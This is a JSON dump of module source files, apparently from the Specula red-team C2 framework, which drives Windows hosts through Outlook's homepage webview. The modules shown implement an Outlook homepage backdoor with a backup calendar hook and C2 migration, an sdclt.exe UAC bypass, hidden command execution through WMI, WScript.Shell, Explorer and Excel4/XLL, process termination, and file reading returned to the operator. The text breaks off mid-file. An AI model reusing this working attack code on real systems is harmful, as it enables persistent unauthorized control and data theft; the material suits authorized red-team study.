    "content": "Function execute_excel4macro()\r\n    On Error Resume Next\r\n    Set excel = window.external.OutlookApplication.CreateObject(\"Excel.Application\")\r\n    excel.Visible = false\r\n    return_data = excel.ExecuteExcel4Macro(\"CALL({{input}})\")\r\n    execute_excel4macro = \"Data returned: \" & return_data\r\nEnd Function"
  },
  {
    "path": "functions/execute/host/execute_registerxll.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module runs the registerxll function in excel, allowing you to execute a DLL(XLL).\n               \n        XLL file must be on disk, does not work over http. The XLL can be named whatever as extension. (or nothing at all)\n        \n        For tips on how to create a XLL you can go here: \n        https://learn.microsoft.com/en-us/office/client-developer/excel/creating-xlls\n        \n        \n        It uses the excel application\n        - Registerxll\n        \"\"\"\n        self.entry = 'execute_registerxll'\n        self.depends = []\n        self.options['input'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path to xll file on disk\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/execute/host/execute_registerxll.txt",
    "content": "Function execute_registerxll()\r\n    On Error Resume Next\r\n    Set excel = window.external.OutlookApplication.CreateObject(\"Excel.Application\")\r\n    excel.Visible = false\r\n    return_data = excel.RegisterXLL({{input}})\r\n    execute_registerxll = \"XLL Executed: \" & return_data\r\nEnd Function"
  },
  {
    "path": "functions/execute/host/migrate_homepage.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Migrate agent to another Specula server. \n        This module sets the URL to a new Specula server. \n        Useful in situations when you want to change host.\n        It does NOT move the encrytion key so you must point to the validation url.\n        !!Remember to have the other server up and running!!\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).CreateKey\n        - ConnectServer(root\\cimv2).SetStringValue\n        - ConnectServer(root\\cimv2).SetDWORDValue\n        \"\"\"\n        self.entry = 'Execute_MigrateHomepage'\n        self.depends = ['./helperFunctions/Setregvalue_hkcu.txt']\n        self.options['homepageurl'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"URL to new Specula Homepage validation\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/execute/host/migrate_homepage.txt",
    "content": "Function Execute_MigrateHomepage()\r\n\tOn Error Resume Next\r\n\tversion = left(window.external.OutlookApplication.Version,4)\r\n\tbasepath = \"software\\microsoft\\office\\\" + version + \"\\outlook\\webview\\inbox\"\r\n\tSetValue_HKCU_Registry = SetRegValue_HKCU(basepath, \"REG_SZ\", \"URL\", {{homepageurl}})\r\n\tExecute_MigrateHomepage = \"Registry updated to point to new Specula server\"\r\nEnd Function"
  },
  {
    "path": "functions/execute/host/remove_homepage.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Removes the homepage implant in a nice way :-). \n        This should be used when you want to remove the homepage backdoor on a host.\n        It removes the URL registry key as well as the EnableRoamingFolderHomepages.\n\n        It uses WbemScripting.SWbemNamedValueSet\n        - Add.__ProviderArchitecture\n        - Add.__RequiredArchitecture\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).GetStringValue\n        - ConnectServer(root\\cimv2).DeleteValue\n        \"\"\"\n        self.entry = 'remove_homepage'\n        self.depends = []\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/execute/host/remove_homepage.txt",
    "content": "Function remove_homepage()\r\n\tOn Error Resume Next\r\n\tSet objContext = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemNamedValueSet\")\r\n\tobjContext.Add\"__ProviderArchitecture\",RegType\r\n\tobjContext.Add\"__RequiredArchitecture\",True\r\n\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n    Set objServices = objLocator.ConnectServer(\".\", \"root\\cimv2\")\r\n\tSet objReg=objServices.Get(\"StdRegProv\")\r\n\r\n\tobjReg.GetStringValue 2147483648, \"Word.Application\\CurVer\", \"\", o3\r\n\tover = Right(o3, 2) & \".0\"\r\n\r\n\tstrcrSecPth = \"Software\\Microsoft\\Office\\\" + over + \"\\Outlook\\UserInfo\"\r\n\tstrKSecPth = \"Software\\Microsoft\\Office\\\" + over + \"\\Outlook\\Security\"\r\n\tstrKWebPth = \"Software\\Microsoft\\Office\\\" + over + \"\\Outlook\\Webview\\inbox\"\r\n\tstrKey1EntryName = \"EnableRoamingFolderHomepages\"\r\n\tstrKey2EntryName = \"URL\"\r\n\tstrKey3EntryName = \"KEY\"\r\n\r\n\tobjReg.deletevalue 2147483649, strKSecPth,strKey1EntryName\r\n\tobjReg.deletevalue 2147483649, strKWebPth,strKey2EntryName\r\n\tobjReg.deletevalue 2147483649, strcrSecPth,strKey3EntryName\r\n\r\n\tSet calfolder = window.external.OutlookApplication.GetNameSpace(\"MAPI\").GetDefaultFolder(9)\r\n\tSet window.external.OutlookApplication.ActiveExplorer.CurrentFolder = calfolder\r\n\tremove_homepage = \"Registry values removed and Outlook changed view to calendar\"\r\nEnd Function"
  },
  {
    "path": "functions/execute/host/set_calendarhomepagehook.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module finds the current URL in use for C2 and sets it to the calendar webview.\n        The purpose is that this can be used to configure a backup channel incase the inbox webview is deleted.\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).CreateKey\n        - ConnectServer(root\\cimv2).SetStringValue\n        - ConnectServer(root\\cimv2).SetDWORDValue\n\n        \"\"\"\n        self.entry = 'set_calendarhomepagehook'\n        self.depends = ['./helperFunctions/Setregvalue_hkcu.txt']\n        self.options['homepageurl'] = {\n            \"value\": \"None\",\n            \"required\": True,\n            \"description\": \"\"\"\"\n            URL to Specula server. Will be set to HKCU\\\\software\\\\microsoft\\\\office\\\\version\\\\outlook\\\\webview\\\\calendar - URL reg_sz. \n            If set to None it autoresolves to the current URL in use on this Specula server. \n            If you want to use another Specula server as backup define the url to it here.\n            \"\"\",\n            \"handler\": quotedstring,\n            \"hidden\": False\n        }\n        super().__init__(templatepath)\n    \n    def preprocess(self, agent):\n        if self.options['homepageurl']['value'] == \"None\":\n            self.options['homepageurl']['value'] = agent.url\n"
  },
  {
    "path": "functions/execute/host/set_calendarhomepagehook.txt",
    "content": "Function set_calendarhomepagehook()\r\n\tOn Error Resume Next\r\n\tversion = left(window.external.OutlookApplication.Version,4)\r\n\tbasepath = \"software\\microsoft\\office\\\" + version + \"\\outlook\\webview\\calendar\"\r\n\tSetValue_HKCU_Registry = SetRegValue_HKCU(basepath, \"REG_SZ\", \"URL\", {{homepageurl}})\r\n\tset_calendarhomepagehook = \"Specula hook added to calendar webview - url: \" & {{homepageurl}}\r\nEnd Function"
  },
  {
    "path": "functions/execute/host/spawnproc_explorer.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Spawns/Executes the specified process/command under explorer.exe.\n        Example: \n          set command c:\\\\tools\\\\autoruns.exe\n          set arguments -e\n          run\n        \n        It uses Shell.Application\n        - Windows.app.item()\n        - Windows.app.item().Document.Application.ShellExecute\n        \"\"\"\n        self.entry = 'Spawn_Explorer'\n        self.depends = []\n        self.options['command'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Command to execute on remote target\",\n            \"handler\": quotedstring\n        }\n        self.options['arguments'] = {\n            \"value\": \"\\\"\\\"\",\n            \"required\": True,\n            \"description\": \"Arguments to pass to command. Default is no arguments\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/execute/host/spawnproc_explorer.txt",
    "content": "Function Spawn_Explorer()\r\n    On Error Resume Next\r\n\tset app = window.external.OutlookApplication.CreateObject(\"Shell.Application\").Windows\r\n    set appobj = app.item()\r\n    appobj.Document.Application.ShellExecute {{command}}, {{arguments}}, \"\", \"\", 0\r\n    Spawn_Explorer = \"Command spawned under explorer: \" & {{command}}  & \" \" & {{arguments}}\r\nEnd Function\r\n"
  },
  {
    "path": "functions/execute/host/uac-sdclt.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        DETECTED BY WINDOWS DEFENDER AS\n        Behavior:Win32/UACBypassExp.T!proc\n        \n        Execute a command using the SDCLT.exe UAC bypass. \n        This module sets HKCU\\\\Software\\\\Classes\\\\Folder\\\\shell\\open\\\\command default value to the specified command option.\n        It also sets the DelegateExecute under the same path and executes:\n        explorer.exe /root,c:\\windows\\system32\\sdclt.exe\n        Execution through win32_process create\n        \n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).Get(\"Win32_ProcessStartup\").SpawnInstance_()\n        - ConnectServer(root\\cimv2).Get(\"Win32_Process\")\n\n        \"\"\"\n        self.entry = 'Execute_UAC_sdclt'\n        self.depends = ['./helperFunctions/Setregvalue_hkcu.txt','./helperFunctions/Delregkey_hkcu.txt']\n        self.options['command'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Command to execute on remote target\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/execute/host/uac-sdclt.txt",
    "content": "Function Execute_UAC_sdclt()\n\tOn Error Resume Next\n\tExecute_UAC_sdclt = \"SDCLT UAC BYPASS\" & vbCrLf\n\tExecute_UAC_sdclt = Execute_UAC_sdclt & SetRegValue_HKCU(\"Software\\Classes\\Folder\\shell\\open\\command\", \"REG_SZ\", \"@\", {{command}})\n\tExecute_UAC_sdclt = Execute_UAC_sdclt & vbCrLf\n\tExecute_UAC_sdclt = Execute_UAC_sdclt & SetRegValue_HKCU(\"Software\\Classes\\Folder\\shell\\open\\command\", \"REG_SZ\", \"DelegateExecute\", \" \")\n\tExecute_UAC_sdclt = Execute_UAC_sdclt & vbCrLf\n\n    Set objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\n    Set objService = objLocator.ConnectServer(\".\", \"root\\cimv2\")\n    Set objConfig = objService.Get(\"Win32_ProcessStartup\").SpawnInstance_()\n    Set objProcess = objService.Get(\"Win32_Process\")\n    objProcess.Create \"explorer /root,c:\\windows\\system32\\sdclt.exe\", Null, objConfig, varProcessId\n    Execute_UAC_sdclt = Execute_UAC_sdclt & \"Executed sdclt.exe to trigger UAC bypass\" & vbCrLf & \"Process id sdclt.exe: \" & varProcessId\n\tExecute_UAC_sdclt = Execute_UAC_sdclt & vbCrLf\n\t\n\t'Sleep\n\tExecute_UAC_sdclt = Execute_UAC_sdclt & \"Running cleanup in 45 seconds (delete command reg key)\"\n\twindow.clearTimeout(st)\n\tst = window.setTimeout(\"wait\", 45000, \"VBScript\")\t\nEnd Function\n\nSub wait()\n\tDelRegKey_HKCU(\"Software\\Classes\\Folder\\shell\\open\\command\")\nEnd Sub"
  },
  {
    "path": "functions/execute/host/wmi_execute.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module executes the specified command in the command option using the objProcess.Create method in WMI.\n        It also returns the process ID of the new process you created.\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).Get(\"Win32_ProcessStartup\").SpawnInstance_()\n        - ConnectServer(root\\cimv2).Get(\"Win32_Process\")\n        \"\"\"\n        self.entry = 'Execute_WMICommand'\n        self.depends = []\n        self.options['command'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Command to execute via wmi Process Create\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)"
  },
  {
    "path": "functions/execute/host/wmi_execute.txt",
    "content": "Function Execute_WMICommand()\r\n    On Error Resume Next\r\n    Set objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n    Set objService = objLocator.ConnectServer(\".\", \"root\\cimv2\")\r\n    Set objConfig = objService.Get(\"Win32_ProcessStartup\").SpawnInstance_()\r\n    Set objProcess = objService.Get(\"Win32_Process\")\r\n    objProcess.Create {{command}}, Null, objConfig, varProcessId\r\n    Execute_WMICommand = \"Command executed: \" & {{command}} & vbCrLf & \"Process id new process: \" & varProcessId\r\nEnd Function"
  },
  {
    "path": "functions/execute/host/wmi_killprocname.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module terminates the process name you define using the process option. \n        Be careful, since it will kill all processes with that name. \n        Meaning if you define winword.exe it will kill all instances of winword.exe\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - Query: Select Name,ProcessId,ParentProcessId from Win32_Process Where Name = VARIABLE\n        - Query.Terminate()\n        \n        \"\"\"\n        self.entry = 'KillProc_Name'\n        self.depends = []\n        self.options['process'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"process name you want to kill, all instances will be killed\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/execute/host/wmi_killprocname.txt",
    "content": "Function KillProc_Name()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"root\\cimv2\")\r\n\tSet col = objWMIService.ExecQuery (\"Select Name,ProcessId,ParentProcessId from Win32_Process Where Name = '\" & {{process}} & \"'\")\r\n\r\n\tprocs = \"Processname - PID - PPID\" & vbCrLf\r\n\tFor Each obj in col\r\n\t\tprocs = procs & \"Killed process: \" & obj.Name & \" - \" & obj.ProcessId & \" - \" & obj.ParentProcessId &  vbCrLf\r\n        obj.Terminate()\r\n\tNext\r\n\tKillProc_Name = procs\r\nEnd Function"
  },
  {
    "path": "functions/execute/host/wmi_killprocpid.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module terminates the process id you define using the pid option. \n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - Query: Select Name,ProcessId,ParentProcessId from Win32_Process Where ProcessID = VARIABLE\n        - Query.Terminate()\n        \"\"\"\n        self.entry = 'KillProc_PID'\n        self.depends = []\n        self.options['pid'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"PID of the process you want to kill, all instances will be killed\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/execute/host/wmi_killprocpid.txt",
    "content": "Function KillProc_PID()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"root\\cimv2\")\r\n\tSet col = objWMIService.ExecQuery (\"Select Name,ProcessId,ParentProcessId from Win32_Process Where ProcessID = '\" & {{pid}} & \"'\")\r\n\r\n\tprocs = \"Processname - PID - PPID\" & vbCrLf\r\n\tFor Each obj in col\r\n\t\tprocs = procs & \"Killed process: \" & obj.Name & \" - \" & obj.ProcessId & \" - \" & obj.ParentProcessId &  vbCrLf\r\n        obj.Terminate()\r\n\tNext\r\n\tKillProc_PID = procs\r\nEnd Function"
  },
  {
    "path": "functions/execute/host/wscriptshell.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module executes command defined in the command option through the wscript com object. \n        The executed file will become a sub-process under outlook.exe. \n        Normally NOT OPSEC SAFE\n\n        It uses Wscript.shell\n        - run\n        \"\"\"\n        self.entry = 'Execute_WscriptShell'\n        self.depends = []\n        self.options['command'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"command to execute via wscript com object\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/execute/host/wscriptshell.txt",
    "content": "Function Execute_WscriptShell()\r\n\tOn Error Resume Next\r\n\tConst HIDDEN_WINDOW = 0\r\n\tSet ws = window.external.OutlookApplication.CreateObject(\"Wscript.shell\")\r\n\t\t\r\n\tinetret = ws.Run({{command}}, 0, false)\r\n\tIf intret <> 0 Then \r\n\t\tExecute_WscriptShell = \"Error running program\"\r\n\tEnd If\r\n\tExecute_WscriptShell = \"Command Executed: \" & {{command}} & vbCrLf & intret\r\nEnd Function"
  },
  {
    "path": "functions/operation/file/cat_file.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makebool\nfrom lib.validators.generic import ischoice\nfrom lib.tab_completers.generic import tab_choice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module gets the content of the file specified in file\n        and outputs it to the log file.\n        \n        It uses Scripting.FileSystemObject\n        - OpenTextFile\n        - FileExists\n        \"\"\"\n        self.entry = 'cat_file'\n        self.depends = []\n        self.options['file'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path to file you want to cat\",\n            \"handler\": quotedstring\n        }\n        self.options['output_console'] = {\n            \"value\": \"False\",\n            \"required\": True,\n            \"description\": \"If True, it will show the output in the console\",\n            \"hidden\": True,\n            \"handler\": makebool,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"False\", \"True\"]}  \n        }\n        super().__init__(templatepath)\n\n    def rethandler(self, agent, options, data):\n        if options['output_console']['value'] == \"True\":\n            print(\"\\n\")\n            print(data)"
  },
  {
    "path": "functions/operation/file/cat_file.txt",
    "content": "Function cat_file()\r\n\tOn error resume next\r\n\tSet fs = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\r\n    If fs.FileExists({{file}}) = True Then\r\n        set ReadFile = fs.OpenTextFile({{file}}, 1)\r\n\t\tcontent = ReadFile.ReadAll\r\n\telse\r\n\t\tcontent = \"File not found\"\r\n\tEnd If\r\n\tcat_file = \"Content of file \" & {{file}} & \":\" & vbCrLf & content\r\nEnd Function"
  },
  {
    "path": "functions/operation/file/check_filearch.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module checks if specified file in the file option exists or not. \n        \n        It uses ADODB.Stream\n        - Open\n        - LoadFromFile\n        - Position\n        - Read\n        - Close\n        \"\"\"\n        self.entry = 'check_filearch'\n        self.depends = []\n        self.options['file'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"path to file you want to check exists\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/operation/file/check_filearch.txt",
    "content": "Function check_filearch()\n    On Error Resume Next    \n    Set BinaryStream = window.external.OutlookApplication.CreateObject(\"ADODB.Stream\")\n    \n    BinaryStream.Type = 1\n    BinaryStream.Open\n    \n    BinaryStream.LoadFromFile {{file}}\n \n    If err.number <> 0 Then\n        check_filearch = \"An error happened - Did you point to a file that exists?\"\n        Exit Function\n    End If\n    On Error Goto 0\n          \n    skip = BinaryStream.Read(&H3C)\n    positionSignature = BinaryStream.Read(4)\n    \n    strPosition=\"\"\n    For lngCounter = 0 to UBound(positionSignature)\n        car= Ascb(Midb(positionSignature, lngCounter + 1, 1))\n        s = Hex(car)\n        If Len(s) = 1 Then\n            s = \"0\" & s\n        End If \n        strPosition = s & strPosition\n    Next\n    \n    positionSignature = CInt(\"&H\" & strPosition)\n    \n    BinaryStream.Position = positionSignature\n    \n    arr_signature = BinaryStream.Read(6)\n    \n    signature = \"\"\n    For lngCounter = 0 to UBound(arr_signature)\n        car= AscB(Midb(arr_signature, lngCounter + 1, 1))\n        s = Hex(car)\n        If Len(s) = 1 Then\n            s = \"0\" & s\n        End If\n        signature = signature & s \n    Next\n    \n    BinaryStream.Close\n        \n    If signature = \"504500004C01\" Then\n        check_filearch = {{file}} & \" is x86\"\n    ElseIf signature = \"504500006486\" Then\n        check_filearch = {{file}} & \" is x64\"\n    End If\nEnd Function"
  },
  {
    "path": "functions/operation/file/check_fileexist.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module checks if specified file in the file option exists or not. \n        \n        It uses Scripting.FileSystemObject\n        - FileExists\n        \"\"\"\n        self.entry = 'check_fileexist'\n        self.depends = []\n        self.options['file'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"path to file you want to check exists\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/operation/file/check_fileexist.txt",
    "content": "Function check_fileexist()\r\n\tOn error resume next\r\n    Set fs = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\r\n\tif fs.FileExists({{file}}) Then\r\n\t\tcheck_fileexist = \"File Exist: \" & {{file}} & \" - True\"\r\n\telse\r\n\t\tcheck_fileexist = \"File Exist: \" & {{file}} & \" - False\"\r\n\tEnd If\r\nEnd Function"
  },
  {
    "path": "functions/operation/file/check_filehash.py",
    "content": "from lib.core.specmodule import SpecModule\r\nfrom lib.modhandlers.generic import quotedstring\r\n\r\nclass Spec(SpecModule):\r\n    def __init__(self, templatepath, helpers):\r\n        self.options = {}\r\n        self.helpers = helpers\r\n        self.help = \"\"\"\r\n        This module gets the MD5 hash of the file specified.\r\n        \r\n        It uses System.Security.Cryptography.MD5CryptoServiceProvider\r\n        - ComputeHash_2\r\n        - Hash\r\n\r\n        It uses ADODB.Stream\r\n        - Open\r\n        - LoadFromFile\r\n        - Position\r\n        - Read\r\n        - Close\r\n\r\n        It uses MSXML2.DOMDocument\r\n        - CreateElement\r\n        \"\"\"\r\n        self.entry = 'check_filehash'\r\n        self.depends = []\r\n        self.options['file'] = {\r\n            \"value\": None,\r\n            \"required\": True,\r\n            \"description\": \"path to file you want to get MD5 hash for\",\r\n            \"handler\": quotedstring\r\n        }\r\n        super().__init__(templatepath)\r\n        "
  },
  {
    "path": "functions/operation/file/check_filehash.txt",
    "content": "Function check_filehash()\r\n    On Error Resume Next    \r\n    set oMD5 = window.external.OutlookApplication.CreateObject(\"System.Security.Cryptography.MD5CryptoServiceProvider\")\r\n    Set oStream = window.external.OutlookApplication.CreateObject(\"ADODB.Stream\")\r\n    oStream.Type = 1 'adTypeBinary\r\n    oStream.Open\r\n    oStream.LoadFromFile {{file}}\r\n    CompleteFile = oStream.Read\r\n    oStream.Close\r\n    Set oStream = Nothing\r\n\r\n    oMD5.ComputeHash_2(CompleteFile)\r\n    Set oXml = CreateObject(\"MSXML2.DOMDocument\")\r\n    Set oElement = oXml.CreateElement(\"tmp\")\r\n    oElement.DataType = \"bin.hex\"\r\n    oElement.NodeTypedValue = oMD5.Hash\r\n    check_filehash = \"MD5 hash of file \" & {{file}} & \" is \" & oElement.Text\r\nEnd Function"
  },
  {
    "path": "functions/operation/file/copy_dir.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module will copy a directory including all subdirectories/files. \n        Specify paths without trailing \\\\.\n        \n        It uses Scripting.FileSystemObject\n        - CopyFolder\n        - FolderExists\n        \"\"\"\n        self.entry = 'copy_dir'\n        self.depends = []\n        self.options['directory'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Directory you want to copy. i.e. c:\\\\folder\",\n            \"handler\": quotedstring\n        }\n        self.options['destination'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Destination directory you want your copy. i.e. c:\\\\copyoffolder\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)"
  },
  {
    "path": "functions/operation/file/copy_dir.txt",
    "content": "Function copy_dir()\n    On error resume next\n    Set fs = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\n    if fs.FolderExists({{destination}}) = True Then\n        copy_dir = \"Destination directory already exists - Failed\"\n    else\n        fs.CopyFolder {{directory}}, {{destination}}    \n\t\tif fs.FolderExists({{destination}}) = True Then\n            copy_dir = \"Copy directory: \" & {{directory}} & \" to \" & {{destination}} & \" - Success\"\n\t    else\n             copy_dir = \"Copy directory: \" & {{directory}} & \" to \" & {{destination}} & \" - Failed\"\n\t    End If\n    End if\nEnd Function"
  },
  {
    "path": "functions/operation/file/copy_file.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module will copy a file.\n\n        It uses Scripting.FileSystemObject\n        - CopyFile\n        - FileExists\n        \"\"\"\n        self.entry = 'copy_file'\n        self.depends = []\n        self.options['file'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path and filename of source file. i.e. c:\\\\foo.txt.\",\n            \"handler\": quotedstring\n        }\n        self.options['destination'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path and filename of destination file. i.e. c:\\\\bar.txt.\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)"
  },
  {
    "path": "functions/operation/file/copy_file.txt",
    "content": "Function copy_file()\n    On error resume next\n    Set fs = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\n    \n    if fs.FileExists({{file}}) = True Then\n        fs.CopyFile {{file}}, {{destination}}\n    \n        If fs.FileExists({{destination}}) = True Then\n\t\t    copy_file = \"Copy file: \" & {{file}} & \" to \" & {{destination}} & \" - Success\"\n\t    else\n             copy_file = \"Copy file: \" & {{file}} & \" to \" & {{destination}} & \" - Failed\"\n\t    End If\n    else\n        copy_file = {{file}} & \" - File not found\"\n    End if\nEnd Function"
  },
  {
    "path": "functions/operation/file/create_dir.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module creates the directory structure (recursive) \n        specified in the directory option. \n\n        It uses Scripting.FileSystemObject\n        - GetAbsolutePathName\n        - BuildPath\n        - FolderExists\n        - CreateFolder\n        \"\"\"\n        self.entry = 'create_dir'\n        self.depends = ['./helperFunctions/dir_creator.txt']\n        self.options['directory'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Directory to create. i.e. c:\\\\parent\\\\child\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/file/create_dir.txt",
    "content": "Function create_dir()\r\n    On error resume next\r\n    create_dir = dir_creator({{directory}})\r\nEnd Function"
  },
  {
    "path": "functions/operation/file/create_shortcut.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makeint,escapequotes\nfrom lib.validators.generic import ischoice\nfrom lib.tab_completers.generic import tab_choice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module creates a shortcut file at specified file path. \n        \n        It uses CreateObject(\"WScript.Shell\")\n        - CreateShortcut\n        \"\"\"\n        self.entry = 'create_shortcut'\n        self.depends = []\n        self.options['file'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Shortcut to create i.e. c:\\\\folder\\\\short.lnk\",\n            \"handler\": quotedstring\n        }\n        self.options['targetpath'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"What the shortcut executes i.e. c:\\\\folder\\\\program.exe\",\n            \"handler\": quotedstring\n        }\n        self.options['arguments'] = {\n            \"value\": \"\\\"\\\"\",\n            \"required\": False,\n            \"description\": \"Arguments to the execution i.e. /force\",\n            \"handler\": quotedstring\n        }\n        self.options['description'] = {\n            \"value\": \"\\\"\\\"\",\n            \"required\": False,\n            \"description\": \"Shortcut description\",\n            \"handler\": quotedstring\n        }\n        self.options['hotkey'] = {\n            \"value\": \"\\\"\\\"\",\n            \"required\": False,\n            \"description\": \"Hotkey assignment i.e. CTRL+ALT+Y\",\n            \"handler\": 